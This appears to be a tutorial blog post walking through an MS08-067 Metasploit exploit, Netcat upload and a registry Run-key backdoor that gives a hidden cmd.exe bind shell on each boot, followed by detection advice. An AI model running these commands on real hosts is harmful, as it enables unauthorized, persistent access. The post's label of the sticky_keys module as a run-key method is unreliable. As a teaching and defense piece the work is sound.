Once you land a Meterpreter session on a Windows host with Metasploit, you can do far more than pop a shell: you can upload your own tools and plant a backdoor that survives a reboot by writing an autorun key to the registry. This post walks through that classic post-exploitation chain end to end, then explains how to detect and prevent it.
1. Get a Meterpreter session
In the lab we exploit the legendary MS08-067 SMB vulnerability and
stage a meterpreter/bind_tcp payload:
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(ms08_067_netapi) > set RHOSTS 192.168.0.3
msf6 exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf6 exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Meterpreter session 1 opened (192.168.0.2 -> 192.168.0.3:4444)
meterpreter >2. Upload a tool to the target
Meterpreter's upload command copies a local file to the remote host.
Here we push Netcat (nc.exe) into System32:
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\System32\\
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32\
[*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32\nc.exe3. Plant the backdoor in the registry
The HKLM\Software\Microsoft\Windows\CurrentVersion\Run key runs its
values at every boot. We add one that starts Netcat as a listener bound to port
1234, handing out cmd.exe to whoever connects:
meterpreter > reg setval \
-k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \
-v Hacked \
-d 'C:\Windows\System32\nc.exe -L -d -p 1234 -e cmd.exe'
Successfully set Hacked of REG_SZ.The -L flag makes Netcat listen persistently and -d
detaches it from the console so nothing is visible on screen.
4. Trigger it and connect back
Reboot the box so the autorun key fires, then connect to the waiting shell:
meterpreter > reboot
Rebooting...
msf6 > connect 192.168.0.3 1234
[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator>You now have a shell that comes back every time the machine boots.
The modern way
Hand-rolling a Netcat Run key is great for learning, but today Metasploit ships dedicated persistence modules that are cleaner and better documented:
meterpreter > run post/windows/manage/persistence_exe
# or, for a registry-based run key:
meterpreter > run post/windows/manage/sticky_keysDetection and defense
- Audit autorun locations. Sysinternals
Autorunsand theRun/RunOncekeys are the first place responders look. A value pointing atnc.exeor an odd path is a red flag. - Application allow-listing (WDAC/AppLocker) stops unsigned
binaries like an uploaded
nc.exefrom executing at all. - EDR & Sysmon flag process creation from
Runkeys, listeners spawningcmd.exe, and network binds on odd ports. - Patch and segment. MS08-067 was fixed in 2008; keep systems updated and block inbound SMB (445) at the host firewall.
Understanding exactly how an attacker turns a single session into durable access is what lets you write the detections that catch it.
Comments